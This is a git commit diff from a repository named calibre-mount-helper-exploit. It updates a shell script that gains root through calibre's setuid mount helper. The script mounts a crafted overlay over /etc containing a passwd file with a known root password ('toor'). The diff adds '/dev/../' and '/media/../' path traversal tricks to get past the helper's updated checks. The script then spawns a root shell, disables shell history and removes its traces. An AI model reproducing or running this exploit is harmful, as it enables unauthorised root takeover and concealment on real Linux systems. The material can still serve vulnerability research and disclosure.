diff options
author | Jason A. Donenfeld <Jason@zx2c4.com> | 2011-11-02 22:22:52 -0400 |
---|---|---|
committer | Jason A. Donenfeld <Jason@zx2c4.com> | 2011-11-02 22:22:52 -0400 |
commit | 9d98237e092cd90e962694696dd37252060db824 (patch) | |
tree | eb73f1abf6baa36c91c8ad3dda4e11afa0a7c150 /60calibrerassaultmount.sh | |
parent | unset HISTFILE (diff) | |
download | calibre-mount-helper-exploit-9d98237e092cd90e962694696dd37252060db824.tar.xz calibre-mount-helper-exploit-9d98237e092cd90e962694696dd37252060db824.zip |
Update for kovid's latest.
Diffstat (limited to '60calibrerassaultmount.sh')
-rwxr-xr-x | 60calibrerassaultmount.sh | 8 |
1 files changed, 5 insertions, 3 deletions
diff --git a/60calibrerassaultmount.sh b/60calibrerassaultmount.sh index a941a22..0bf1e2e 100755 --- a/60calibrerassaultmount.sh +++ b/60calibrerassaultmount.sh @@ -54,9 +54,11 @@ cd "$dir" echo "[+] Making overlay image:" dd if=/dev/zero of=overlay count=51200 /usr/sbin/mkfs.vfat overlay +overlay="/dev/../$(readlink -f overlay)" echo "[+] Mounting overlay image using calibre-mount-helper." mkdir staging -calibre-mount-helper mount overlay staging +staging="/media/../$(readlink -f staging)" +calibre-mount-helper mount $overlay $staging echo "[+] Copying /etc into overlay." cd staging/ cp -a /etc/* . 2>/dev/null @@ -66,9 +68,9 @@ echo "root:$(echo -n 'toor' | openssl passwd -1 -stdin):0:0:root:/root:/bin/bash mv tmp passwd echo "[+] Unmounting overlay image using calibre-mount-helper." cd .. -calibre-mount-helper eject overlay staging >/dev/null 2>&1 +calibre-mount-helper eject $overlay $staging >/dev/null 2>&1 echo "[+] Mounting overlay to /etc using calibre-mount-helper." -calibre-mount-helper mount overlay /etc >/dev/null 2>&1 +calibre-mount-helper mount $overlay /media/../etc >/dev/null 2>&1 cd / echo "[+] Asking for root. When prompted for a password, enter 'toor'." su -c "echo \"[+] Unmounting /etc using root umount.\"; umount /etc; echo \"[+] Cleaning up: $dir\"; rm -rf \"$dir\"; echo \"[+] Getting shell.\"; HISTFILE=\"/dev/null\" exec /bin/sh" |